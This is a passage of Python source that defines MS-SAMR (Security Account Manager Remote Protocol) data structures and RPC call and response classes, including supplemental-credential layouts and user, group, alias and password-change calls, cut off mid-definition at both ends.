{\n        PASSWORD_POLICY_VALIDATION_TYPE.SamValidateAuthentication : ('ValidateAuthenticationInput', SAM_VALIDATE_AUTHENTICATION_INPUT_ARG),\n        PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordChange : ('ValidatePasswordChangeInput', SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG),\n        PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset  : ('ValidatePasswordResetInput', SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG),\n    }\n\n# 2.2.9.10 SAM_VALIDATE_OUTPUT_ARG\nclass SAM_VALIDATE_OUTPUT_ARG(NDRUNION):\n    union = {\n        PASSWORD_POLICY_VALIDATION_TYPE.SamValidateAuthentication : ('ValidateAuthenticationOutput', SAM_VALIDATE_STANDARD_OUTPUT_ARG),\n        PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordChange : ('ValidatePasswordChangeOutput', SAM_VALIDATE_STANDARD_OUTPUT_ARG),\n        PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset  : ('ValidatePasswordResetOutput', SAM_VALIDATE_STANDARD_OUTPUT_ARG),\n    }\n\nclass PSAM_VALIDATE_OUTPUT_ARG(NDRPOINTER):\n    referent = (\n        ('Data', SAM_VALIDATE_OUTPUT_ARG),\n    )\n\n# 2.2.10 Supplemental Credentials Structures\n\n# 2.2.10.1 USER_PROPERTIES\nclass USER_PROPERTIES(Structure):\n    structure = (\n        ('Reserved1','<L=0'),\n        ('Length','<L=0'),\n        ('Reserved2','<H=0'),\n        ('Reserved3','<H=0'),\n        ('Reserved4','96s=\"\"'),\n        ('PropertySignature','<H=0x50'),\n        ('PropertyCount','<H=0'),\n        ('UserProperties',':'),\n    )\n\n# 2.2.10.2 USER_PROPERTY\nclass USER_PROPERTY(Structure):\n    structure = (\n        ('NameLength','<H=0'),\n        ('ValueLength','<H=0'),\n        ('Reserved','<H=0'),\n        ('_PropertyName','_-PropertyName', \"self['NameLength']\"),\n        ('PropertyName',':'),\n        ('_PropertyValue','_-PropertyValue', \"self['ValueLength']\"),\n        ('PropertyValue',':'),\n    )\n\n# 2.2.10.3 Primary:WDigest - WDIGEST_CREDENTIALS\nclass WDIGEST_CREDENTIALS(Structure):\n    structure = (\n        ('Reserved1','B=0'),\n        ('Reserved2','B=0'),\n        ('Version','B=1'),\n        ('NumberOfHashes','B=29'),\n        ('Reserved3','12s=\"\"'),\n        ('Hash1', '16s=\"\"'),\n        ('Hash2', '16s=\"\"'),\n        ('Hash3', '16s=\"\"'),\n        ('Hash4', '16s=\"\"'),\n        ('Hash5', '16s=\"\"'),\n        ('Hash6', '16s=\"\"'),\n        ('Hash7', '16s=\"\"'),\n        ('Hash8', '16s=\"\"'),\n        ('Hash9', '16s=\"\"'),\n        ('Hash10', '16s=\"\"'),\n        ('Hash11', '16s=\"\"'),\n        ('Hash12', '16s=\"\"'),\n        ('Hash13', '16s=\"\"'),\n        ('Hash14', '16s=\"\"'),\n        ('Hash15', '16s=\"\"'),\n        ('Hash16', '16s=\"\"'),\n        ('Hash17', '16s=\"\"'),\n        ('Hash18', '16s=\"\"'),\n        ('Hash19', '16s=\"\"'),\n        ('Hash20', '16s=\"\"'),\n        ('Hash21', '16s=\"\"'),\n        ('Hash22', '16s=\"\"'),\n        ('Hash23', '16s=\"\"'),\n        ('Hash24', '16s=\"\"'),\n        ('Hash25', '16s=\"\"'),\n        ('Hash26', '16s=\"\"'),\n        ('Hash27', '16s=\"\"'),\n        ('Hash28', '16s=\"\"'),\n        ('Hash29', '16s=\"\"'),\n    )\n\n# 2.2.10.5 KERB_KEY_DATA\nclass KERB_KEY_DATA(Structure):\n    structure = (\n        ('Reserved1','<H=0'),\n        ('Reserved2','<H=0'),\n        ('Reserved3','<H=0'),\n        ('KeyType','<L=0'),\n        ('KeyLength','<L=0'),\n        ('KeyOffset','<L=0'),\n    )\n\n# 2.2.10.4 Primary:Kerberos - KERB_STORED_CREDENTIAL\nclass KERB_STORED_CREDENTIAL(Structure):\n    structure = (\n        ('Revision','<H=3'),\n        ('Flags','<H=0'),\n        ('CredentialCount','<H=0'),\n        ('OldCredentialCount','<H=0'),\n        ('DefaultSaltLength','<H=0'),\n        ('DefaultSaltMaximumLength','<H=0'),\n        ('DefaultSaltOffset','<L=0'),\n        #('Credentials',':'),\n        #('OldCredentials',':'),\n        #('DefaultSalt',':'),\n        #('KeyValues',':'),\n        # All the preceding stuff inside this Buffer\n        ('Buffer',':'),\n    )\n\n# 2.2.10.7 KERB_KEY_DATA_NEW\nclass KERB_KEY_DATA_NEW(Structure):\n    structure = (\n        ('Reserved1','<H=0'),\n        ('Reserved2','<H=0'),\n        ('Reserved3','<L=0'),\n        ('IterationCount','<L=0'),\n        ('KeyType','<L=0'),\n        ('KeyLength','<L=0'),\n        ('KeyOffset','<L=0'),\n    )\n\n# 2.2.10.6 Primary:Kerberos-Newer-Keys - KERB_STORED_CREDENTIAL_NEW\nclass KERB_STORED_CREDENTIAL_NEW(Structure):\n    structure = (\n        ('Revision','<H=4'),\n        ('Flags','<H=0'),\n        ('CredentialCount','<H=0'),\n        ('ServiceCredentialCount','<H=0'),\n        ('OldCredentialCount','<H=0'),\n        ('OlderCredentialCount','<H=0'),\n        ('DefaultSaltLength','<H=0'),\n        ('DefaultSaltMaximumLength','<H=0'),\n        ('DefaultSaltOffset','<L=0'),\n        ('DefaultIterationCount','<L=0'),\n        #('Credentials',':'),\n        #('ServiceCredentials',':'),\n        #('OldCredentials',':'),\n        #('OlderCredentials',':'),\n        #('DefaultSalt',':'),\n        #('KeyValues',':'),\n        # All the preceding stuff inside this Buffer\n        ('Buffer',':'),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n\nclass SamrConnect(NDRCALL):\n    opnum = 0\n    structure = (\n       ('ServerName',PSAMPR_SERVER_NAME2),\n       ('DesiredAccess', ULONG),\n    )\n\nclass SamrConnectResponse(NDRCALL):\n    structure = (\n       ('ServerHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrCloseHandle(NDRCALL):\n    opnum = 1\n    structure = (\n       ('SamHandle',SAMPR_HANDLE),\n       ('DesiredAccess', LONG),\n    )\n\nclass SamrCloseHandleResponse(NDRCALL):\n    structure = (\n       ('SamHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrSetSecurityObject(NDRCALL):\n    opnum = 2\n    structure = (\n       ('ObjectHandle',SAMPR_HANDLE),\n       ('SecurityInformation', SECURITY_INFORMATION),\n       ('SecurityDescriptor', SAMPR_SR_SECURITY_DESCRIPTOR),\n    )\n\nclass SamrSetSecurityObjectResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrQuerySecurityObject(NDRCALL):\n    opnum = 3\n    structure = (\n       ('ObjectHandle',SAMPR_HANDLE),\n       ('SecurityInformation', SECURITY_INFORMATION),\n    )\n\nclass SamrQuerySecurityObjectResponse(NDRCALL):\n    structure = (\n       ('SecurityDescriptor',PSAMPR_SR_SECURITY_DESCRIPTOR),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrLookupDomainInSamServer(NDRCALL):\n    opnum = 5\n    structure = (\n       ('ServerHandle',SAMPR_HANDLE),\n       ('Name', RPC_UNICODE_STRING),\n    )\n\nclass SamrLookupDomainInSamServerResponse(NDRCALL):\n    structure = (\n       ('DomainId',PRPC_SID),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrEnumerateDomainsInSamServer(NDRCALL):\n    opnum = 6\n    structure = (\n       ('ServerHandle',SAMPR_HANDLE),\n       ('EnumerationContext', ULONG),\n       ('PreferedMaximumLength', ULONG),\n    )\n\nclass SamrEnumerateDomainsInSamServerResponse(NDRCALL):\n    structure = (\n       ('EnumerationContext',ULONG),\n       ('Buffer',PSAMPR_ENUMERATION_BUFFER),\n       ('CountReturned',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrOpenDomain(NDRCALL):\n    opnum = 7\n    structure = (\n       ('ServerHandle',SAMPR_HANDLE),\n       ('DesiredAccess', ULONG),\n       ('DomainId', RPC_SID),\n    )\n\nclass SamrOpenDomainResponse(NDRCALL):\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrQueryInformationDomain(NDRCALL):\n    opnum = 8\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DomainInformationClass', DOMAIN_INFORMATION_CLASS),\n    )\n\nclass SamrQueryInformationDomainResponse(NDRCALL):\n    structure = (\n       ('Buffer',PSAMPR_DOMAIN_INFO_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrSetInformationDomain(NDRCALL):\n    opnum = 9\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DomainInformationClass', DOMAIN_INFORMATION_CLASS),\n       ('DomainInformation', SAMPR_DOMAIN_INFO_BUFFER),\n    )\n\nclass SamrSetInformationDomainResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrCreateGroupInDomain(NDRCALL):\n    opnum = 10\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('Name', RPC_UNICODE_STRING),\n       ('DesiredAccess', ULONG),\n    )\n\nclass SamrCreateGroupInDomainResponse(NDRCALL):\n    structure = (\n       ('GroupHandle',SAMPR_HANDLE),\n       ('RelativeId',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrEnumerateGroupsInDomain(NDRCALL):\n    opnum = 11\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('EnumerationContext', ULONG),\n       ('PreferedMaximumLength', ULONG),\n    )\n\nclass SamrCreateUserInDomain(NDRCALL):\n    opnum = 12\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('Name', RPC_UNICODE_STRING),\n       ('DesiredAccess', ULONG),\n    )\n\nclass SamrCreateUserInDomainResponse(NDRCALL):\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n       ('RelativeId',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrEnumerateGroupsInDomainResponse(NDRCALL):\n    structure = (\n       ('EnumerationContext',ULONG),\n       ('Buffer',PSAMPR_ENUMERATION_BUFFER),\n       ('CountReturned',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrEnumerateUsersInDomain(NDRCALL):\n    opnum = 13\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('EnumerationContext', ULONG),\n       ('UserAccountControl', ULONG),\n       ('PreferedMaximumLength', ULONG),\n    )\n\nclass SamrEnumerateUsersInDomainResponse(NDRCALL):\n    structure = (\n       ('EnumerationContext',ULONG),\n       ('Buffer',PSAMPR_ENUMERATION_BUFFER),\n       ('CountReturned',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrCreateAliasInDomain(NDRCALL):\n    opnum = 14\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('AccountName', RPC_UNICODE_STRING),\n       ('DesiredAccess', ULONG),\n    )\n\nclass SamrCreateAliasInDomainResponse(NDRCALL):\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n       ('RelativeId',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\n\nclass SamrEnumerateAliasesInDomain(NDRCALL):\n    opnum = 15\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('EnumerationContext', ULONG),\n       ('PreferedMaximumLength', ULONG),\n    )\n\nclass SamrEnumerateAliasesInDomainResponse(NDRCALL):\n    structure = (\n       ('EnumerationContext',ULONG),\n       ('Buffer',PSAMPR_ENUMERATION_BUFFER),\n       ('CountReturned',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrGetAliasMembership(NDRCALL):\n    opnum = 16\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('SidArray',SAMPR_PSID_ARRAY),\n    )\n\nclass SamrGetAliasMembershipResponse(NDRCALL):\n    structure = (\n       ('Membership',SAMPR_ULONG_ARRAY),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrLookupNamesInDomain(NDRCALL):\n    opnum = 17\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('Count',ULONG),\n       ('Names',RPC_UNICODE_STRING_ARRAY),\n    )\n\nclass SamrLookupNamesInDomainResponse(NDRCALL):\n    structure = (\n       ('RelativeIds',SAMPR_ULONG_ARRAY),\n       ('Use',SAMPR_ULONG_ARRAY),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrLookupIdsInDomain(NDRCALL):\n    opnum = 18\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('Count',ULONG),\n       ('RelativeIds',ULONG_ARRAY_CV),\n    )\n\nclass SamrLookupIdsInDomainResponse(NDRCALL):\n    structure = (\n       ('Names',SAMPR_RETURNED_USTRING_ARRAY),\n       ('Use',SAMPR_ULONG_ARRAY),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrOpenGroup(NDRCALL):\n    opnum = 19\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DesiredAccess', ULONG),\n       ('GroupId', ULONG),\n    )\n\nclass SamrOpenGroupResponse(NDRCALL):\n    structure = (\n       ('GroupHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrQueryInformationGroup(NDRCALL):\n    opnum = 20\n    structure = (\n       ('GroupHandle',SAMPR_HANDLE),\n       ('GroupInformationClass', GROUP_INFORMATION_CLASS),\n    )\n\nclass SamrQueryInformationGroupResponse(NDRCALL):\n    structure = (\n       ('Buffer',PSAMPR_GROUP_INFO_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrSetInformationGroup(NDRCALL):\n    opnum = 21\n    structure = (\n       ('GroupHandle',SAMPR_HANDLE),\n       ('GroupInformationClass', GROUP_INFORMATION_CLASS),\n       ('Buffer', SAMPR_GROUP_INFO_BUFFER),\n    )\n\nclass SamrSetInformationGroupResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrAddMemberToGroup(NDRCALL):\n    opnum = 22\n    structure = (\n       ('GroupHandle',SAMPR_HANDLE),\n       ('MemberId', ULONG),\n       ('Attributes', ULONG),\n    )\n\nclass SamrAddMemberToGroupResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrDeleteGroup(NDRCALL):\n    opnum = 23\n    structure = (\n       ('GroupHandle',SAMPR_HANDLE),\n    )\n\nclass SamrDeleteGroupResponse(NDRCALL):\n    structure = (\n       ('GroupHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrRemoveMemberFromGroup(NDRCALL):\n    opnum = 24\n    structure = (\n       ('GroupHandle',SAMPR_HANDLE),\n       ('MemberId', ULONG),\n    )\n\nclass SamrRemoveMemberFromGroupResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrGetMembersInGroup(NDRCALL):\n    opnum = 25\n    structure = (\n       ('GroupHandle',SAMPR_HANDLE),\n    )\n\nclass SamrGetMembersInGroupResponse(NDRCALL):\n    structure = (\n       ('Members',PSAMPR_GET_MEMBERS_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrSetMemberAttributesOfGroup(NDRCALL):\n    opnum = 26\n    structure = (\n       ('GroupHandle',SAMPR_HANDLE),\n       ('MemberId',ULONG),\n       ('Attributes',ULONG),\n    )\n\nclass SamrSetMemberAttributesOfGroupResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrOpenAlias(NDRCALL):\n    opnum = 27\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DesiredAccess', ULONG),\n       ('AliasId', ULONG),\n    )\n\nclass SamrOpenAliasResponse(NDRCALL):\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrQueryInformationAlias(NDRCALL):\n    opnum = 28\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n       ('AliasInformationClass', ALIAS_INFORMATION_CLASS),\n    )\n\nclass SamrQueryInformationAliasResponse(NDRCALL):\n    structure = (\n       ('Buffer',PSAMPR_ALIAS_INFO_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrSetInformationAlias(NDRCALL):\n    opnum = 29\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n       ('AliasInformationClass', ALIAS_INFORMATION_CLASS),\n       ('Buffer',SAMPR_ALIAS_INFO_BUFFER),\n    )\n\nclass SamrSetInformationAliasResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrDeleteAlias(NDRCALL):\n    opnum = 30\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n    )\n\nclass SamrDeleteAliasResponse(NDRCALL):\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrAddMemberToAlias(NDRCALL):\n    opnum = 31\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n       ('MemberId', RPC_SID),\n    )\n\nclass SamrAddMemberToAliasResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrRemoveMemberFromAlias(NDRCALL):\n    opnum = 32\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n       ('MemberId', RPC_SID),\n    )\n\nclass SamrRemoveMemberFromAliasResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrGetMembersInAlias(NDRCALL):\n    opnum = 33\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n    )\n\nclass SamrGetMembersInAliasResponse(NDRCALL):\n    structure = (\n       ('Members',SAMPR_PSID_ARRAY_OUT),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrOpenUser(NDRCALL):\n    opnum = 34\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DesiredAccess', ULONG),\n       ('UserId', ULONG),\n    )\n\nclass SamrOpenUserResponse(NDRCALL):\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrDeleteUser(NDRCALL):\n    opnum = 35\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n    )\n\nclass SamrDeleteUserResponse(NDRCALL):\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrQueryInformationUser(NDRCALL):\n    opnum = 36\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n       ('UserInformationClass', USER_INFORMATION_CLASS ),\n    )\n\nclass SamrQueryInformationUserResponse(NDRCALL):\n    structure = (\n       ('Buffer',PSAMPR_USER_INFO_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrSetInformationUser(NDRCALL):\n    opnum = 37\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n       ('UserInformationClass', USER_INFORMATION_CLASS ),\n       ('Buffer',SAMPR_USER_INFO_BUFFER),\n    )\n\nclass SamrSetInformationUserResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrChangePasswordUser(NDRCALL):\n    opnum = 38\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n       ('LmPresent', UCHAR ),\n       ('OldLmEncryptedWithNewLm',PENCRYPTED_LM_OWF_PASSWORD),\n       ('NewLmEncryptedWithOldLm',PENCRYPTED_LM_OWF_PASSWORD),\n       ('NtPresent', UCHAR),\n       ('OldNtEncryptedWithNewNt',PENCRYPTED_NT_OWF_PASSWORD),\n       ('NewNtEncryptedWithOldNt',PENCRYPTED_NT_OWF_PASSWORD),\n       ('NtCrossEncryptionPresent',UCHAR),\n       ('NewNtEncryptedWithNewLm',PENCRYPTED_NT_OWF_PASSWORD),\n       ('LmCrossEncryptionPresent',UCHAR),\n       ('NewLmEncryptedWithNewNt',PENCRYPTED_NT_OWF_PASSWORD),\n    )\n\nclass SamrChangePasswordUserResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrGetGroupsForUser(NDRCALL):\n    opnum = 39\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n    )\n\nclass SamrGetGroupsForUserResponse(NDRCALL):\n    structure = (\n       ('Groups',PSAMPR_GET_GROUPS_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrQueryDisplayInformation(NDRCALL):\n    opnum = 40\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DisplayInformationClass', DOMAIN_DISPLAY_INFORMATION),\n       ('Index', ULONG),\n       ('EntryCount',ULONG),\n       ('PreferredMaximumLength',ULONG),\n    )\n\nclass SamrQueryDisplayInformationResponse(NDRCALL):\n    structure = (\n       ('TotalAvailable',ULONG),\n       ('TotalReturned',ULONG),\n       ('Buffer',SAMPR_DISPLAY_INFO_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrGetDisplayEnumerationIndex(NDRCALL):\n    opnum = 41\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DisplayInformationClass', DOMAIN_DISPLAY_INFORMATION),\n       ('Prefix', RPC_UNICODE_STRING),\n    )\n\nclass SamrGetDisplayEnumerationIndexResponse(NDRCALL):\n    structure = (\n       ('Index',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrGetUserDomainPasswordInformation(NDRCALL):\n    opnum = 44\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n    )\n\nclass SamrGetUserDomainPasswordInformationResponse(NDRCALL):\n    structure = (\n       ('PasswordInformation',USER_DOMAIN_PASSWORD_INFORMATION),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrRemoveMemberFromForeignDomain(NDRCALL):\n    opnum = 45\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('MemberSid', RPC_SID),\n    )\n\nclass SamrRemoveMemberFromForeignDomainResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrQueryInformationDomain2(NDRCALL):\n    opnum = 46\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DomainInformationClass', DOMAIN_INFORMATION_CLASS),\n    )\n\nclass SamrQueryInformationDomain2Response(NDRCALL):\n    structure = (\n       ('Buffer',PSAMPR_DOMAIN_INFO_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrQueryInformationUser2(NDRCALL):\n    opnum = 47\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n       ('UserInformationClass', USER_INFORMATION_CLASS ),\n    )\n\nclass SamrQueryInformationUser2Response(NDRCALL):\n    structure = (\n       ('Buffer',PSAMPR_USER_INFO_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrQueryDisplayInformation2(NDRCALL):\n    opnum = 48\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DisplayInformationClass', DOMAIN_DISPLAY_INFORMATION),\n       ('Index', ULONG),\n       ('EntryCount',ULONG),\n       ('PreferredMaximumLength',ULONG),\n    )\n\nclass SamrQueryDisplayInformation2Response(NDRCALL):\n    structure = (\n       ('TotalAvailable',ULONG),\n       ('TotalReturned',ULONG),\n       ('Buffer',SAMPR_DISPLAY_INFO_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrGetDisplayEnumerationIndex2(NDRCALL):\n    opnum = 49\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DisplayInformationClass', DOMAIN_DISPLAY_INFORMATION),\n       ('Prefix', RPC_UNICODE_STRING),\n    )\n\nclass SamrGetDisplayEnumerationIndex2Response(NDRCALL):\n    structure = (\n       ('Index',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrCreateUser2InDomain(NDRCALL):\n    opnum = 50\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('Name', RPC_UNICODE_STRING),\n       ('AccountType', ULONG),\n       ('DesiredAccess', ULONG),\n    )\n\nclass SamrCreateUser2InDomainResponse(NDRCALL):\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n       ('GrantedAccess',ULONG),\n       ('RelativeId',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrQueryDisplayInformation3(NDRCALL):\n    opnum = 51\n    structure = (\n       ('DomainHandle',SAMPR_HANDLE),\n       ('DisplayInformationClass', DOMAIN_DISPLAY_INFORMATION),\n       ('Index', ULONG),\n       ('EntryCount',ULONG),\n       ('PreferredMaximumLength',ULONG),\n    )\n\nclass SamrQueryDisplayInformation3Response(NDRCALL):\n    structure = (\n       ('TotalAvailable',ULONG),\n       ('TotalReturned',ULONG),\n       ('Buffer',SAMPR_DISPLAY_INFO_BUFFER),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrAddMultipleMembersToAlias(NDRCALL):\n    opnum = 52\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n       ('MembersBuffer', SAMPR_PSID_ARRAY),\n    )\n\nclass SamrAddMultipleMembersToAliasResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrRemoveMultipleMembersFromAlias(NDRCALL):\n    opnum = 53\n    structure = (\n       ('AliasHandle',SAMPR_HANDLE),\n       ('MembersBuffer', SAMPR_PSID_ARRAY),\n    )\n\nclass SamrRemoveMultipleMembersFromAliasResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrOemChangePasswordUser2(NDRCALL):\n    opnum = 54\n    structure = (\n       ('ServerName', PRPC_STRING),\n       ('UserName', RPC_STRING),\n       ('NewPasswordEncryptedWithOldLm', PSAMPR_ENCRYPTED_USER_PASSWORD),\n       ('OldLmOwfPasswordEncryptedWithNewLm', PENCRYPTED_LM_OWF_PASSWORD),\n    )\n\nclass SamrOemChangePasswordUser2Response(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrUnicodeChangePasswordUser2(NDRCALL):\n    opnum = 55\n    structure = (\n       ('ServerName', PRPC_UNICODE_STRING),\n       ('UserName', RPC_UNICODE_STRING),\n       ('NewPasswordEncryptedWithOldNt',PSAMPR_ENCRYPTED_USER_PASSWORD),\n       ('OldNtOwfPasswordEncryptedWithNewNt',PENCRYPTED_NT_OWF_PASSWORD),\n       ('LmPresent',UCHAR),\n       ('NewPasswordEncryptedWithOldLm',PSAMPR_ENCRYPTED_USER_PASSWORD),\n       ('OldLmOwfPasswordEncryptedWithNewNt',PENCRYPTED_LM_OWF_PASSWORD),\n    )\n\nclass SamrUnicodeChangePasswordUser2Response(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrGetDomainPasswordInformation(NDRCALL):\n    opnum = 56\n    structure = (\n       #('BindingHandle',SAMPR_HANDLE),\n       ('Unused', PRPC_UNICODE_STRING),\n    )\n\nclass SamrGetDomainPasswordInformationResponse(NDRCALL):\n    structure = (\n       ('PasswordInformation',USER_DOMAIN_PASSWORD_INFORMATION),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrConnect2(NDRCALL):\n    opnum = 57\n    structure = (\n       ('ServerName',PSAMPR_SERVER_NAME),\n       ('DesiredAccess', ULONG),\n    )\n\nclass SamrConnect2Response(NDRCALL):\n    structure = (\n       ('ServerHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrSetInformationUser2(NDRCALL):\n    opnum = 58\n    structure = (\n       ('UserHandle',SAMPR_HANDLE),\n       ('UserInformationClass', USER_INFORMATION_CLASS),\n       ('Buffer', SAMPR_USER_INFO_BUFFER),\n    )\n\nclass SamrSetInformationUser2Response(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrConnect4(NDRCALL):\n    opnum = 62\n    structure = (\n       ('ServerName',PSAMPR_SERVER_NAME),\n       ('ClientRevision', ULONG),\n       ('DesiredAccess', ULONG),\n    )\n\nclass SamrConnect4Response(NDRCALL):\n    structure = (\n       ('ServerHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrConnect5(NDRCALL):\n    opnum = 64\n    structure = (\n       ('ServerName',PSAMPR_SERVER_NAME),\n       ('DesiredAccess', ULONG),\n       ('InVersion', ULONG),\n       ('InRevisionInfo',SAMPR_REVISION_INFO),\n    )\n\nclass SamrConnect5Response(NDRCALL):\n    structure = (\n       ('OutVersion',ULONG),\n       ('OutRevisionInfo',SAMPR_REVISION_INFO),\n       ('ServerHandle',SAMPR_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrRidToSid(NDRCALL):\n    opnum = 65\n    structure = (\n       ('ObjectHandle',SAMPR_HANDLE),\n       ('Rid', ULONG),\n    )\n\nclass SamrRidToSidResponse(NDRCALL):\n    structure = (\n       ('Sid',PRPC_SID),\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrSetDSRMPassword(NDRCALL):\n    opnum = 66\n    structure = (\n       ('Unused', PRPC_UNICODE_STRING),\n       ('UserId',ULONG),\n       ('EncryptedNtOwfPassword',PENCRYPTED_NT_OWF_PASSWORD),\n    )\n\nclass SamrSetDSRMPasswordResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\nclass SamrValidatePassword(NDRCALL):\n    opnum = 67\n    structure = (\n       ('ValidationType', PASSWORD_POLICY_VALIDATION_TYPE),\n       ('InputArg',SAM_VALIDATE_INPUT_ARG),\n    )\n\nclass SamrValidatePasswordResponse(NDRCALL):\n    structure = (\n       